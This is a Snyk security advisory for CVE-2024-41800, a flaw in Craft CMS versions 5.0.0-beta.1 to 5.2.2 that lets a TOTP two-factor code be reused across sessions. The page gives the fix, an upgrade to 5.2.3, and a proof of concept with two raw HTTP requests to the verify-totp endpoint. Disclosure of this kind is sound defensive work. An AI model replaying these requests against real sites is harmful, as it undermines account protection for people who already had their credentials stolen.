Improper Authentication Affecting craftcms/cms package, versions >=5.0.0-beta.1, <5.2.3


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.06% (27th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Authentication vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-CRAFTCMSCMS-7569087
  • published26 Jul 2024
  • disclosed25 Jul 2024
  • creditFabian Funder

Introduced: 25 Jul 2024

CVE-2024-41800  (opens in a new tab)
CWE-287  (opens in a new tab)

How to fix?

Upgrade craftcms/cms to version 5.2.3 or higher.

Overview

craftcms/cms is a content management system.

Affected versions of this package are vulnerable to Improper Authentication due to the improper handling of TOTP tokens. An attacker can establish multiple authenticated sessions by reusing a valid TOTP token within its validity period.

Note:

This is only exploitable if the attacker has knowledge of the victim's credentials.

PoC

Start the login process in two different environments e.g. in two different browsers. Enter the same TOTP in both environments while making sure that both submissions are made in the timespan where the TOTP is valid. Both environments should display the dashboard, signalling that the authentication process has been successful.

The following request and response pairs show this behavior. The requests are made from different session (different CraftSessionId cookie), but yield the same response. Therefore, the one-time use requirement of TOTPs has been shown to be violated.

Request and response 1:

POST /index.php?p=admin%2Factions%2Fauth%2Fverify-totp&v=1718611475335 HTTP/1.1
Host: example.com
Cookie: CraftSessionId=f52a55[...]; CRAFT_CSRF_TOKEN=84046fab20[...]; b355f5550c68c4120bf669f0e80588c6_username=677791f5[...];
X-Requested-With: XMLHttpRequest
X-Csrf-Token: 3jS9tkBnKBRDJ[...]
Content-Length: 17
Connection: close

{"code":"101472"}

HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Date: Mon, 17 Jun 2024 08:04:35 GMT [...]

{"message":"Verification successful."}

Request and response 2:

POST /index.php?p=admin%2Factions%2Fauth%2Fverify-totp&v=1718611477246 HTTP/1.1
Host: example.com
Cookie: CraftSessionId=221f47[...]; CRAFT_CSRF_TOKEN=2db430[...]; b355f5550c68c4120bf669f0e80588c6_username=677791[...];
X-Requested-With: XMLHttpRequest
X-Csrf-Token: Raz6Fv[...]
Content-Length: 17
Connection: close

{"code":"101472"}

HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Date: Mon, 17 Jun 2024 08:04:37 GMT

[...]

{"message":"Verification successful."}

CVSS Scores

version 4.0
version 3.1